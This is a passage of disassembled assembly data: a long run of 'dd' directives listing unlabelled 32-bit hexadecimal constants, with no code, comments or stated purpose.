		dd 5B078273h, 0BE5F346Dh, 3F205FFAh, 193E4E6Eh,	0C23F4C67h
		dd 5713178Eh, 0CD63F8F0h, 311CFEE0h, 5676C23Ch,	91D813ABh
		dd 1D7405D1h, 27BAE397h, 0E5141A9Dh, 48A6A621h,	22FE9F14h
		dd 72696F5Ah, 0C6F32DD7h, 57D702Fh, 3DCB1B9Ah, 534253CBh
		dd 0F7C55432h, 194B17B6h, 8BDF6Bh, 0DD61BD2Ch, 0B522C83h
		dd 0B43B1B88h, 0AE56E970h, 0BD936E0Fh, 789FF2DEh, 7DFA9F6Dh
		dd 8C03DA86h, 35299825h, 0D7FE9903h, 2F280D4Bh,	8BBF3A9h
		dd 0A6AEC8Ch, 1B6DA3FCh
		dd 987C7B26h, 0AA37D1D5h, 0ACE610AEh, 5C82A474h, 0A0BF2FDh
		dd 0FF6139CFh, 0C37A4AAFh, 0CF9F3FC4h, 3CBA6F01h, 0D0550DBFh
		dd 84753DE0h, 0D0530D52h, 0D76CEF90h, 0A63C78BDh, 7FE3D7CFh
		dd 0F07363C1h, 5A336801h, 7185692Eh, 0B62608Ch,	692FE4CBh
		dd 57862D17h, 0C92F0560h, 0E2677F6Ah, 0B6EAD1B4h, 0D1C1F195h
		dd 97801585h, 8BCEAA6Dh, 9FD464Ah, 222ED0F4h, 771AB3DAh
		dd 8304BD91h, 884D02C2h, 0D6D3BCF7h, 292C4003h,	9391B99Dh
		dd 75CE1283h, 4CC8C401h, 0A678DC73h, 0D61E80Ch,	0F0645E4Ch
		dd 31D4DA46h, 85A164BBh, 0ECB4ED04h, 492F06A1h,	0FC14912Ch
		dd 79AA7F2Bh, 896B4D36h, 0CC7D5324h, 0EE3BA0CEh, 0C787F1E4h
		dd 9BFF8D89h, 98E1AD85h, 9EAA0608h, 903310CBh, 596069B4h
		dd 0F990988h, 56A9DB62h, 0DCF34FE0h, 4A0ED49h, 7AE0E294h
		dd 0E546CBEEh, 74E5617Eh, 4F54216Bh, 2769E7EFh,	467D323Fh
		dd 0C367E9D3h, 0C77134A5h, 4C8B3FF9h, 0BA0643D6h, 7110E6C9h
		dd 773D3129h, 53BDA6E6h, 9DB2DA78h, 0B012D37Fh,	3917D121h
		dd 286E2E31h, 5430B370h, 1414BD0Eh, 0BA714531h,	0C42127D4h
		dd 221C5731h, 64E6457Eh, 0C753E48h, 0B11229C8h,	11CE07EBh
		dd 0B31F2D45h, 0C96C3043h, 3E589B4Fh, 788AB404h, 1E0C1E93h
		dd 5641AD87h, 0A0F6510h, 0B3E32218h, 134E2949h,	0C7556A23h
		dd 5ED30EACh, 40689D79h, 294EB59Eh, 7BBF0670h, 529A59BEh
		dd 0E8418954h, 26790424h, 3292FBC7h, 0D2C63CE9h, 6E45E862h
		dd 0A9979BC0h, 29F6D56Fh, 0C8AF383Dh, 11AA4DD3h, 0B797DD3Eh
		dd 0D9809533h, 8647F687h, 4B476729h, 0F6520160h, 0D4B8A746h
		dd 0DA12CD1Bh, 6BAFD110h, 756348FBh, 4D38AFBDh,	0A5D95DC0h
		dd 0DFC0D160h, 0BEEB5560h, 0E0944272h, 60AA54Fh, 843B6800h
		dd 14D709D4h, 0F5182B33h, 0D5CCEE26h, 0A1007C97h, 383259E7h
		dd 0AFB9919Dh, 0F44BC70Ah, 3B2F66A6h, 0F66CD9ECh, 9201ADA0h
		dd 0AFB70DB3h, 0FB7438B7h, 487A8BC2h, 0E6571705h, 87DDC0D3h
		dd 5B21720Ch, 573452F9h, 8B889C2Dh, 0B2CA0AFBh,	483DDA83h
		dd 1F140296h, 0DABCD991h, 0ECD540D7h, 0EFE09E30h, 0B11F8A30h
		dd 0EE340BD9h, 13296E8Ch, 7B1E0835h, 0B97B70F1h, 4E62F91Bh
		dd 0F5C5AEDh, 8727D484h, 0F51441B0h, 0DC02E05Ah, 42C396FFh
		dd 7730EAD2h, 2B681BCEh, 463D407Eh, 0E94065FFh,	0A2A29BA1h
		dd 380DFEB2h, 534298E9h, 3CAD1B50h, 0AB6F4170h,	3336E8ABh
		dd 16D5A98Bh, 383D612Fh, 0C3130904h, 43E4D1DFh,	0E8180234h
		dd 0C6F6677Bh, 0A0F2D489h, 43EFC97h, 0A56AA038h, 0B56282ECh
		dd 4B1C0E30h, 712EF263h, 5FAEB180h, 0E380F145h,	0CB74A2D1h
		dd 0A34BDBF1h, 2C03FC3Bh, 0EB3697C2h, 797EAF31h, 34E235B9h
		dd 2421E48Bh, 8B88DA75h, 0BBFE298h, 9B4305F2h, 84D3FC06h
		dd 0A2FC6B5Fh, 0E32B951Dh, 0B9BD44F9h, 43EAB40h, 19B606C9h
		dd 0EF51C23Ah, 1F9CD4C0h, 13BF0B44h, 0F4E894D6h, 0C51AB51Fh
		dd 4FC72211h, 0DDA49DE1h, 17067940h, 43C1B536h,	69883E34h
		dd 0F27279E6h, 5189ADD8h, 963B4D3Dh, 0F62FCCB4h, 82BA6E59h
		dd 46CD4E0Fh, 0A6390F14h, 0CAA35E0Ah, 9E4FF2B1h, 5D15AB9Fh
		dd 0A2010FCEh, 0F77FA962h, 0E0226920h, 3F65D1BBh, 74A8063Ah
		dd 0C8575AEDh, 482E9E9Fh, 0F5B584FEh, 0C2A9AD83h, 5D808835h
		dd 53208BD3h, 7F90F01Ch, 1CD2206h, 79CB80DCh, 416DF4B3h
		dd 76DB9CE6h, 0ED74F2ECh, 6E5FEEh, 6882CEE3h, 0BF6BE905h
		dd 761BCC22h, 0A4555304h, 0C8F8C484h, 0D1C6EA4h, 2F03B91Eh
		dd 60293B25h, 84946AF1h, 5183DA85h, 1F96BF2Eh, 0E1A12C24h
		dd 0DE27FF96h, 0CA793300h, 0E5B562C0h, 0FEF6F5Bh, 29462995h
		dd 0BEFC4D09h, 0CB5F2AE4h, 0D734F964h, 251077EBh, 53995110h
		dd 20E098ECh, 70B53536h, 0B4106A4Fh, 0EB92F00h,	105AF5Fh
		dd 41F1CCF9h, 0F6C4A875h, 0A23AF15Ah, 5786B4BFh, 0F8F72D5Ch
		dd 0FDF2AC8Fh, 24B5AC4Dh, 0C38AC32Fh, 63BC481Ch, 21BAFEB2h
		dd 2D270CC3h, 6F0B5845h, 0F0BD384Eh, 52EE1E96h,	0DBEA01ACh
		dd 0AF78EFFAh, 1DC50831h, 95E82B15h, 90EE4862h,	0CBC7870Fh
		dd 60954B32h, 7AC2BCA8h, 54AC5AE1h, 2A56D7D7h, 0B6FE2BA7h
		dd 94FCF2A3h, 210E837Dh, 0A6A5D03h, 389AEC1Dh, 0E9F8E290h
		dd 65AADF28h, 0A2172EAh, 4341423Bh, 93002B49h, 0AFDCAB65h
		dd 420F3631h, 31E39FD5h, 0FEB37203h, 9D86FDC1h,	635FC894h
		dd 8A36F757h, 0C7B8D1FFh, 0AC67422Eh, 0CC976B3Dh, 64A1C002h
		dd 9754E0A6h, 0D2664F5h, 35006EA7h, 86984A7Ch, 0F1754E09h
		dd 7B2E3901h, 1773707h,	7C3944EDh, 62F0FAD8h, 0FA07F9AAh
		dd 772480B8h, 3499C3B4h, 25D6CEF3h, 8EB113EBh, 55C7B952h
		dd 8C9FA94Eh, 0FE81F97h, 357454DFh, 249011BDh, 50EFA1E3h
		dd 0B74BF799h, 0D91F924h, 2CFD7BECh, 89FC6EE2h,	4AD84F58h
		dd 0F4E86A3Dh, 0F2DD30CDh, 784163D1h, 9167119Ch, 188C95B1h
		dd 95698DB9h, 2E871B9Fh, 32A93CBh, 6C7A2BA6h, 17A11F79h
		dd 0AA3B83FEh, 503198F2h, 0CE9BE3AAh, 214A05C5h, 899464EBh
		dd 155602BBh, 5CF743D2h, 8627A6C8h, 2EFF958Dh, 0DC7DC16Bh
		dd 0BF6DC629h, 9B948819h, 7B20834Ch, 0AD8FF258h, 497BEB8Ah
		dd 69AB0B7Fh, 40EBF08Dh, 0C8E881A3h, 18707897h,	35E20A74h
		dd 0FF83E476h, 5E1B7A35h, 9C53C4AFh, 48BF40B2h,	5FE810CDh
		dd 53B866BEh, 5A44C2E3h, 9EB0CE8Bh, 38AB1A88h, 1613A443h
		dd 24788B92h, 0D246C0B2h, 0B5F2EFF7h, 1C9ED017h, 242C958Bh
		dd 2D543DECh, 0D5310362h, 65F797EBh, 0CC2EEC02h, 7BA6673Ah
		dd 0CE84B985h, 0F5CBC230h, 281F29ACh, 81FFC61Ah, 21E180E9h
		dd 1895A92Dh, 0A5DE370Fh, 436ED635h, 13065ABEh,	53380162h
		dd 8407F33Dh, 45F49C3Eh, 0E70804B9h, 59AA6A57h,	835F821h
		dd 527F9C0Ch, 822840D7h, 68C57853h, 0B4A248A3h,	188170E5h
		dd 0E6011771h, 4B100693h, 0EC170293h, 0C169A268h, 68826A6Ch
		dd 0F9486C06h, 0CF2BD813h, 1B338596h, 176EC3D0h, 1AACC667h
		dd 9B6CFE27h, 1F468277h, 0B75ECCDEh, 2A9F1120h,	6C278FE8h
		dd 54527E50h, 0DDE5B122h, 9B10204Fh, 232E3068h,	3D519812h
		dd 645DAD5Ah, 92DB3635h, 74354FEBh, 39284C7h, 85EFC29Ch
		dd 0B7FF795Ch, 310D1780h, 0B4140AD9h, 73DEA26Ch, 0B4207B8Ch
		dd 0DCA659C2h, 0D9A79AF3h, 0FA5EE8DAh, 0F167C35Dh, 6BE9DF51h
		dd 65C2DFECh, 0EE3AC20Bh, 90CFE4CFh, 5308DEC9h,	0B638D1B3h
		dd 198D8DF0h, 0EA8625C3h, 16E6A76Dh, 2B6E7C58h,	0D0E52E6Bh
		dd 0DF5A2A7Ch, 513B2CEEh, 66886F4Bh, 0C36C966Fh, 34C4EA96h
		dd 0A0F14997h, 36D92174h, 0BFEC32C3h, 65D92645h, 0ED81466h
		dd 678DDE69h, 0EB76E1F3h, 3C49F571h, 69CF58BEh,	604FADF0h
		dd 0B8EFBF05h, 7160441Fh, 0F8680449h, 5C2F3356h, 0BF4E4C18h
		dd 0D5BA3057h, 60529A7Ch, 54FF148Ch, 0C9189740h, 0DDCDAF0Fh
		dd 0F87741E3h, 969C414Dh, 0FF49B377h, 0BBA63987h, 0A85B2B55h
		dd 9A9FEAFh, 2A756DF2h,	33238880h, 76A2DA6Fh, 57940213h
		dd 5375FC01h, 3DD5D295h, 0C89FB28Ch, 3082B388h,	819ADAD2h
		dd 494BAAE6h, 57AE9ED2h, 0E3C855A4h, 35258949h,	177EC2E2h
		dd 110B6DA0h, 5159536Fh, 35EF8F40h, 90BFF08Dh, 3BB75AB6h
		dd 9E14DFE3h, 0CDB67DFEh, 3C32A888h, 0E755A855h, 48D17BB4h
		dd 0A353585Ch, 124F70FAh, 3E1C8D85h, 8C5D8300h,	40FCE754h
		dd 0D19AAB5Bh, 31FD2344h
		dd 4B2EE7F8h, 9389D5BAh, 9A814910h, 35481F24h, 0D59221E7h
		dd 0AF7C2FF9h, 996F2704h, 0D2662A0Bh, 0A3AF9DCBh, 0FCC0114h
		dd 83B2FFC8h, 0D94E0644h, 0E43C015Bh, 253D705Bh, 0A432D5C7h
		dd 0F1D5BA9Eh, 0F308C087h, 5E3318D2h, 71E94DA8h, 453F18D3h
		dd 0E43C851Bh, 8F553715h, 798ABEC7h, 1F3ED4B1h,	9A3BE60Fh
		dd 495A2D14h, 2FA1C46Eh, 0A625158Ch, 9B2C046Ch,	0EA89287Fh
		dd 0CDE169D0h, 3D96669Bh, 4F87AF15h, 0F59DA2D8h, 1E542C44h
		dd 3A862851h, 3A5EF002h, 6B37F08h, 0E58ABFB5h, 0DEC9985Ch
		dd 6C3AB164h, 0D0701796h, 0EC8F5263h, 7F31205Ch, 9E675C48h
		dd 0D41CD851h, 3D606B5Bh, 16FA4C62h, 43CC0793h,	7572801Eh
		dd 80FAA2D8h, 0F30B460h, 66790114h, 0E4FEBE24h,	8F4E5056h
		dd 1A454B74h, 3040F085h, 804B2FB4h, 0A80FF66Eh,	0C17AE8C7h
		dd 43FA6C55h, 9077D9C2h, 0C6253CBBh, 0DDF39DF5h, 0A6D7B981h
		dd 47B081F8h, 5834B231h, 48A34277h, 1949D06Ah, 242E507Ah
		dd 0CC4673D0h, 63701DA7h, 5BDF783Bh, 0B43F7A38h, 0C5D931F2h
		dd 4B34238Eh, 9015FE0Dh, 99F3A344h, 0A2084C6Fh,	0BDB4B5D1h
		dd 0E168AF59h, 0E7E06C9Eh, 527CBF88h, 0D2D16AFCh, 2C052254h
		dd 6F3075Eh, 0D5181F67h, 65143CF8h, 9F9F8819h, 0BB220D65h
		dd 6A1AD3A3h, 9D390966h, 0F74B7CFEh, 65DEDE34h,	3D75502Bh
		dd 1926C94Ah, 0BBA2FF4Ah, 0A3E1A7A9h, 0CF19BB3Ah, 52C25947h
		dd 0DD948C3Bh, 8136D7D8h, 81DE665Ah, 5F37B39Eh,	4EB6FA00h
		dd 0B210790Fh, 7A10B253h, 83D765D6h, 32B49B9Ah,	6CD622C0h
		dd 0B3B30DECh, 1074D22h, 0DC21C31Bh, 0C988659Fh, 5B998FACh
		dd 50B17E1h, 0CCA1C2FFh, 0F31940B2h, 0C61219C5h, 0B95F5C56h
		dd 0AF825E86h, 0D8911D15h, 0ABA1420Ch, 6E8A310Eh, 3DCA1E0h
		dd 89D8E6E9h, 17F99489h, 0EC5BEB90h, 57866128h,	2B6C339Bh
		dd 867F75D1h, 56EF9C2h,	31BA75EDh, 344F0043h, 0D6E58CA5h
		dd 1EE48C5Dh, 8D2DC675h, 940DA938h, 6E764263h, 2A3BF38Dh
		dd 0A2D81872h, 514179B7h, 0D840D0DFh, 2F6F2190h, 0F56466B1h
		dd 0BC982A34h, 93539C5Dh, 0D1A3055Ch, 455E96E9h, 44EC3D5Eh
		dd 4966E13Bh, 0E89EF9AEh, 0DFCB0771h, 2C6C28BDh, 7C903B1Eh
		dd 1C1FA753h, 6042B420h, 677ABB10h, 31ACA1EFh, 713AED21h
		dd 64C0EAF9h, 6263B7F1h, 12358F8Ch, 0D246C0F3h,	6883056Bh
		dd 5CC23568h, 858B0C9Fh, 6928DE13h, 0BB38B9F2h,	31DA6EDAh
		dd 58FA1737h, 0ABEC1AECh, 8ACC00FCh, 0D3C652D2h, 0BD860A04h
		dd 0CE4673BDh, 0B25A79DFh, 5E8EFF62h, 0D1E496CBh, 6A1DD4A2h
		dd 0EC94290Dh, 0EEC6B239h, 0EB989114h, 5754C4F3h, 459DF44Ah
		dd 0FF39A188h, 0CFCFE57h, 0CF0F481Ch, 5B9D0A6h,	6B28581Ah
		dd 0B3AEC701h, 1AEBF1EDh, 0F9A5A7C2h, 90573FE3h, 762F871Fh
		dd 3C9C3AB4h, 0B9B7EE2Fh, 0F85236F9h, 28167A6Ah, 0D7EA6BD0h
		dd 2D661272h, 8F692622h, 339D2D1Ch, 0FB394DA7h,	0CA26A45Ch
		dd 98B15117h, 0A509B807h, 25B8A1E5h, 5592262Fh,	99A4C7C7h
		dd 0C2D5FD46h, 2306E9B8h, 3F786482h, 3B93BD95h,	73BCD17Ch
		dd 0E58B3E25h, 24D8CEDCh, 184741DEh, 0CCB3CFDEh, 7D92B47Bh
		dd 63674731h, 0F030F527h, 314A9CFCh, 0C3A12196h, 0D4064D8Dh
		dd 3B3A08E7h, 77BBEE8Eh, 0B6321CCAh, 0E25ADE73h, 907AB195h
		dd 0E95D009Bh, 0BBCD5C9Fh, 0A088A351h, 3C53B745h, 0E008E414h
		dd 378F0894h, 307EB661h, 0D1FCE195h, 0E28210EDh, 0ADD438B5h
		dd 42C4DE91h, 0BA52531Dh, 7A64866Bh, 59A101Bh, 0B177CC00h
		dd 453792Ch, 1BB48453h,	4DFE07BFh, 49063D40h, 86DFA2EEh
		dd 0F48B475Eh, 798A4FEFh, 0A1825B88h, 0A9077BDh, 0AC65C7F7h
		dd 0C3ABBB52h, 0B674B566h, 0DF7FE2B5h, 0B6698EA2h, 0DF8A082Bh
		dd 8B2C63DEh, 70AFBBDBh, 0F7DB558Bh, 84B701BDh,	0AC48B409h
		dd 0A1AE6A5Fh, 73353FFh, 0A192F6E0h, 7E24184Dh,	9187D183h
		dd 0BAF0766Ah, 3D661D84h, 8B009FB5h, 4C525F30h,	0D3555C2Fh
		dd 7C2923A2h, 2289427Ch, 0DA181AF0h, 0EC1E5952h, 0D57C79DCh
		dd 52D2CCCFh, 0D46A8DAh, 6D4AFD38h, 4F2551D1h, 0F7DCD5B3h
		dd 0A97E330h, 772DC41Ah, 0E79E2189h, 615E55C7h,	429AA14Eh
		dd 0CB4EB4C4h, 12905DCAh, 908A2E05h, 0A1147B66h, 9A83A35Ch
		dd 0DBEC8A6Ah, 620CC6B8h, 0D2F1EF72h, 0C6836F94h, 99EF4B1h
		dd 87AFA1BAh, 0A1B8A1CBh, 0F0BA0D4Ah, 33E37189h, 7B1F5960h
		dd 5C2BEB11h, 42D2532Eh, 9F7B53DAh, 0BD3ED930h,	0BE11CF64h
		dd 0D535C52Dh, 0D848B260h, 0AA00B18Ch, 1A404993h, 0DB9B498Eh
		dd 3B1B2B6Ah, 69FAFAF1h, 86BB439Fh, 962174F7h, 2E2C7585h
		dd 4912F492h, 2F9BBCh, 0D39EA772h, 0E63BB490h, 2D1F5507h
		dd 0CAF28579h, 6D01F4E0h, 989760F1h, 746BB40Fh,	8712EA1Dh
		dd 0AF491B47h, 56361C7Dh, 29C971E1h, 1077D29h, 4F2D5C66h
		dd 0D5C08611h, 3329DF5Bh, 0AB4B16E4h, 0EDC670B5h, 0EC61B779h
		dd 0B1F5F814h, 416144CDh, 0F0A46425h, 8177C4A7h, 2A6A9A18h
		dd 718BA3B7h, 0CB218D66h, 4E4048ABh, 16FCC9A5h,	0E5BAE298h
		dd 760E1008h, 5773678h,	9FC86223h, 0B02F116h, 177FB3DBh
		dd 43612D30h, 0DB72EDB4h, 412A57F3h, 9B7FFB9Dh,	0A8482165h
		dd 0B30CE56Ch, 0BE9D3093h, 8A97D4A2h, 0AC8E7DA8h, 48B67F4Ch
		dd 217CD6D9h, 21FF2DDh,	277762F4h, 17031AD2h, 4B49E651h
		dd 992E13F3h, 0EFE5577Bh, 0A340EEC0h, 261FB267h, 71548F24h
		dd 2CC90D68h, 0ADF812D9h, 238AD860h, 5105B7BBh,	0A3DB922Fh
		dd 801C0BC4h, 185442h, 33333585h, 2DAC748Ch, 0D6FEB2h
		dd 88CE96A0h, 851F65EBh, 5F3E794Dh, 7C2D6721h, 0AACE37Ah
		dd 0E21BF6CAh, 0A23CCF9Ah, 58350AC4h, 42AF21E3h, 2E627E57h
		dd 240DE7FBh, 91E6C72Dh, 309D2560h, 0DD9CF5CBh,	4755B952h
		dd 3935D03Fh, 3067E6E6h, 0FB65F45Fh, 2E39FE1h, 0A4D3E5BAh
		dd 282B57ECh, 0AD13F2C4h, 59847Fh, 56B59A38h, 2CD057Fh
		dd 4D2FF566h, 5CB8F5EDh, 0C144C22h, 55067EB7h, 0F17F8FEh
		dd 6B4FA6E6h, 1728575Ch, 4428D9BCh, 0D3EEF73Ch,	588C4102h
		dd 157394B5h, 0EE689F47h, 97AA508Eh, 0D89A28F0h, 2A945561h
		dd 45CFB05Fh, 0B39194C7h, 0B0924E34h, 3600A090h, 0A72510B7h
		dd 136A563Bh, 0B5F9B079h, 0CBEA8D21h, 0F0E447C3h, 45D402D3h
		dd 0E4A4AA57h, 2F1D4A7Dh, 2ECA6773h, 30A3F3B7h,	8F886029h
		dd 1558A9DBh, 29844C9h,	0E631905Ah, 0ABEEF9DFh,	2EF9AE5Ah
		dd 0D47455EBh, 0C49C3A34h, 61A11BC1h, 0E2D0BFA0h, 2EC25814h
		dd 0A643A00Ch, 6ED2F346h, 7E30EECFh, 8C52570Ah,	6FD014D2h
		dd 8AC5AB43h, 0BE3E7D65h, 0C9010B2h, 0BD2ADC9Dh, 0D0BB66B6h
		dd 0C0353439h, 0EDEF066Ch, 5536F750h, 935E5CDBh, 0C72DF7FBh
		dd 3F461EAAh, 99878C59h, 38FA8ADFh, 14641A16h, 0FA850B83h
		dd 0CDC00238h, 0FAFF2382h, 8788BCA0h, 6FAB0C5Dh, 0F03B0F8Eh
		dd 0A2CDBB8Dh, 358E4041h, 0FD20B560h, 281209D3h, 67D81F98h
		dd 0E41527E4h, 35BAAA6Dh, 46252CDBh, 0B9C2935Eh, 8940A986h
		dd 0A845C2E4h, 18E63E54h, 856A4A78h, 38FB1C54h,	1C67E9A5h
		dd 69BA08D7h, 0B5325CE8h, 97D140F8h, 45BE3B8Ah,	845DCA30h
		dd 8639929h, 44C49EEDh,	5A81947Ah, 4EC390A6h, 0B07283E1h
		dd 0A0D3FD1Ch, 4F72EEDAh, 3EF31AD8h, 89F58F10h,	0EF110110h
		dd 4D67EBE5h, 8FCD9663h, 0B9B80133h, 1D7F7DFCh,	85CAC66Dh
		dd 707A4EDEh, 0D4B39328h
		dd 7BAC0CB4h, 0AA9C69E2h, 0B151ED45h, 0BFB14C60h, 7E317347h
		dd 98D4F286h, 5DB9DA50h, 0ED24F883h, 0B8EB2E4Ah, 56E5D967h
		dd 444C3EE0h, 5173FA78h, 5BB6D9ABh, 60AF3FD7h, 2D5962D1h
		dd 82C5A57Ah, 8D56A9C7h, 78FC865Bh, 0CB2CC7Ah, 42068A96h
		dd 0BAF4C3A2h, 0A369B641h, 6BA817h, 0AE2E8724h,	6936F329h
		dd 0D0077576h, 0BEFBF038h, 7076399Dh, 89246824h, 806CD1EFh
		dd 0B3218A96h, 920FD12Dh, 0AC4201A8h, 0E41AC565h, 53356B09h
		dd 0D72B5A57h, 0EFB4C5F9h, 27F8FFB4h, 78BBC88Bh, 42A5DCA0h
		dd 0BF8191C6h, 9C78F9A4h, 0BD577B53h, 0FEE86B49h, 24EC2935h
		dd 0EA6F66C8h, 9606E180h, 0D013C100h, 0C522CA27h, 1AFD6C18h
		dd 5E2BD228h, 67EF34B3h, 326B2062h, 219549F2h, 0CB3FA5C9h
		dd 758682F5h, 0FED80835h, 67C76A59h, 75D88627h,	7D361174h
		dd 232F41DBh, 0B57E742Bh, 73826CF4h, 464151B2h,	0B221CEF7h
		dd 0B16E0A97h, 0AF8EC3E1h, 83DBDC0Dh, 0CAAF13E8h, 5646F515h
		dd 26F6421Fh, 71FD79D8h, 3355883Fh, 0BB851F3Ch,	97225C9Ch
		dd 501525A1h, 801F2845h, 5511350Eh, 91B20E79h, 4413933Ch
		dd 40974B75h, 0B9E9514Ah, 7346C29Ah, 30F04363h,	5C3194A5h
		dd 0B327943Bh, 52A3E619h, 40C97DDBh, 0B16C0EF5h, 6FB1319Bh
		dd 87176AE4h, 0B5F6D81Ah, 5DF56771h, 0B3C31A22h, 0B0263853h
		dd 385823F7h, 0BD19FA1Bh, 0D15F4D75h, 4A373149h, 10FE4EF1h
		dd 0FAB6D6E4h, 0D74A8FA5h, 0BE2DD1A2h, 9ECB27F5h, 99334515h
		dd 43DE41Fh, 545E7F08h,	0C821E08Dh, 52E00F47h, 8F7746E8h
		dd 7E855F0Eh, 0F145FFC5h, 0A0FED492h, 0B97572F4h, 96C0F7E8h
		dd 0DD55C8B9h, 0A86BF99Dh, 0A38E7408h, 9E3C6A55h, 0B5C1AF9Fh
		dd 0A8D45578h, 0CA0A5452h, 6956BED8h, 0DE578D9Ch, 0DEFDF2A2h
		dd 0ECADA124h, 0E4932072h, 0E7435279h, 81587CBFh, 24788CEFh
		dd 0D520382Ah, 0C090C783h, 831BDC38h, 0F899F256h, 1B1433CEh
		dd 0FB27AAE6h, 43A5AD2Ah, 0F211620Ch, 617A06B3h, 0C437758Ah
		dd 89F200F0h, 0CF0E26A3h, 6FA7C742h, 1E9D45B2h,	0A1ECF135h
		dd 0D93F3C35h, 2648190h, 6F4F8399h, 92F7D1EFh, 704C04A0h
		dd 5F2C338Eh, 0EC4B1416h, 0D8ECAA83h, 0BD76D363h, 9CE3703Ch
		dd 23D9420Fh, 0C93A622Eh, 51A9AE44h, 24C3754Bh,	0F9B79802h
		dd 9D383D22h, 0C731DFD6h, 364C1533h, 2F50B2Ah, 0E3892490h
		dd 0D15CF47h, 0BB1E900Fh, 0ABEC341Ch, 31946EAh,	0B0C150FFh
		dd 8369E0C3h, 87517DC6h, 1812029Eh, 0C00DD386h,	0BC08E9Eh
		dd 4F1E4FE1h, 7314551h,	0AF0DC66h, 63300FE9h, 59552162h
		dd 0C69322D9h, 7DD8AE0h, 3EDB8182h, 31209CA6h, 20C7C8h
		dd 1E3CAAA4h, 2521954Fh, 6C65340Dh, 0EF0CF10Fh,	0FD80CF5Bh
		dd 8EF588D4h, 0C17ED52Bh, 66D2AC05h, 1420B4C7h,	0C4EB4BA0h
		dd 0F0300908h, 0D0D193B1h, 0CD892BC8h, 0C8177307h, 87966B6Dh
		dd 0E327B4B4h, 0B41ABE1Dh, 0F65B666Fh, 8BA0B626h, 456C095Eh
		dd 678657FDh, 94D047AAh, 24FBA82Bh, 0E73DAFBEh,	80935949h
		dd 0FC711794h, 4526D4D8h, 0B89ED5B1h, 4B658C2Bh, 9D7180F5h
		dd 2F857877h, 0D7082685h, 9617980Ch, 0D8200E58h, 819AE175h
		dd 0C508955Eh, 5483094Bh, 8A44FBECh, 0D1EC9F98h, 2248F891h
		dd 4DAC9B82h, 1A31535Dh, 5648387Ah, 426AF9F9h, 0B2A70320h
		dd 5EC06A43h, 0EF7DD8B2h, 2D65B263h, 9EE4B92Ch,	23C3829Ch
		dd 1DEE99A7h, 3880D623h, 1335299Ch, 7F8C9EBh, 0E8D1A476h
		dd 406FFB03h, 0C2E7997Ah, 0B699E3E4h, 6D754DACh, 72D0B7A0h
		dd 0E3F1499Eh, 7E52F770h, 5439BA4Ch, 5F68091Ah,	398B6BD3h
		dd 71DC3555h, 31DA75A6h, 6A295897h, 7E379F9Fh, 2B54C702h
		dd 19126C67h, 32AB182Ah, 56C867DDh, 383CB748h, 782B2884h
		dd 7748694Ch, 72FC725Eh, 8AD48498h, 64D8A01h, 390A6D3h
		dd 79D162B5h, 0E8E29ADDh, 0B24DA10Fh, 4DA085E4h, 0E637EBC5h
		dd 0CAB61BB6h, 0C2CECA4Ah, 55DE3B2Bh, 0D53E7085h, 396C8CBAh
		dd 85AB5438h, 977B070Bh, 8211C5F7h, 53D4AD61h, 83861802h
		dd 2AA264C0h, 4AA7293Fh, 74B5564Ah, 0B05EC570h,	0A81F07F9h
		dd 243A5958h, 67384783h, 6CAA81B4h, 0D7BC3A50h,	0D62469A8h
		dd 2D343BB1h, 0AF4BA203h, 0E0309053h, 0E56CA67Ch, 6D4DDF1Eh
		dd 0E5E77E61h, 67F3783Fh, 8C50894Eh, 96E94CADh,	0B4859FEEh
		dd 40C223C7h, 1F003169h, 0AA00BA68h, 48DF027Bh,	28D78D13h
		dd 1B71FA50h, 7B09EBA3h, 85B41043h, 0A08CFC0h, 399C2138h
		dd 7F800CD7h, 0F077D660h, 0DBD94F77h, 313FED1Ch, 99D45B44h
		dd 5B1C8915h, 93987DEAh, 25C6761Eh, 0D0284AD4h,	0A9906F07h
		dd 0ADB9EA52h, 25623014h, 0AA9D6060h, 80BDAF0Dh, 71E94638h
		dd 5B8897C5h, 0DE808212h, 0D5F381C3h, 0CF01DC47h, 53BB6143h
		dd 0D076C4CDh, 6AE7FC17h, 642CCE12h, 6804441Eh,	58D71AF6h
		dd 2E7B297Fh, 86D43FDAh, 0BB38C35Fh, 80F80629h,	0EC8073FEh
		dd 3A589D97h, 0FCE12879h, 6EEB58AAh, 0A481A77Ch, 95DC36E3h
		dd 0E83DDB51h, 0E7F522CFh, 92C5A822h, 24552D05h, 6B0DB217h
		dd 4E272A2Bh, 47161D0Eh, 0FD35816Bh, 869EA690h,	45536504h
		dd 4B42E2FAh, 0D97FD4BAh, 9F7AB658h, 0A2AC90ABh, 7909B833h
		dd 3EEC30D9h, 14F20512h, 1AFC607Fh, 0DB949BFAh,	86BBD49h
		dd 0ADA1206Ch, 0A118A40Ch, 0B1A5DA54h, 0FB10DFAh, 27D40093h
		dd 6EE2444Ah, 0E00EC936h, 0DF133B91h, 0F98C6214h, 0E223D2h
		dd 593BF65Ch, 0FD3841C1h, 830369F7h, 0C6136F3Ch, 2E8500C9h
		dd 59C9C748h, 9EC4EAE2h, 247128BDh, 5756E3F5h, 15CA34BDh
		dd 50EF2DA9h, 2F3FFF65h, 0DED2BEF4h, 2B872791h,	0D624761h
		dd 87C147F4h, 3594CF4Ch, 0F7CDB47Dh, 36B4D6AEh,	0DF30A8B1h
		dd 0B9FBBC46h, 0EAA18E18h, 9DA61D5Dh, 0A823698Fh, 9DF6E098h
		dd 0DFB2268Ah, 0FA8C4117h, 1C959221h, 0A7D4879h, 0C92AB37Eh
		dd 19CDFA5h, 893718FAh,	61361EC5h, 48FA7A1Eh, 5091108Dh
		dd 1B0D365h, 82FE7044h,	0E7C35422h, 0BA6D6261h,	2BAD7595h
		dd 39FC8FBDh, 5CB279CDh, 0F9CF4455h, 2BAE6FC1h,	0DF8589C0h
		dd 2DB3966Ah, 0A34811A5h, 612F9410h, 8A25A0Bh, 0AF91BC1Dh
		dd 0D15364E6h, 9BE85E46h, 92BB565Dh, 1A5A0D1h, 380DDC8h
		dd 1DFF3244h, 470EF055h, 35EB276Ch, 0BF52F0D0h,	524F890Dh
		dd 3A66FF9Ah, 0F14FEC9Ah, 0B5ECE27Ch, 0A9B3BC8Dh, 29C73CFh
		dd 6783630Bh, 322780A5h, 0B4E39AA4h, 0A1517E36h, 99BC38FAh
		dd 162B39AAh, 0BEC22148h, 7B434AA1h, 714AD0C6h,	0F31ACD3Bh
		dd 6BEDC756h, 433FFDBEh, 0A66C60BDh, 0E931F949h, 352E4532h
		dd 91326DF4h, 0AF534700h, 0E96402AFh, 46F3F3h, 1B721B16h
		dd 58E23D1h, 6458933Fh,	0FFCCCDA3h, 19541FC8h, 0F676343Ch
